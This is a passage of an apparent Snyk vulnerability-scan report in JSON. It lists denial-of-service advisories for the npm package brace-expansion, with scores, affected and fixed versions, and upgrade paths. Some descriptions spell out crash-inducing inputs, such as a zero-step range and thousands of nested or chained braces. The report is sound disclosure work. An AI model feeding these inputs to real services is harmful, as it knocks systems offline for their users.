"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of 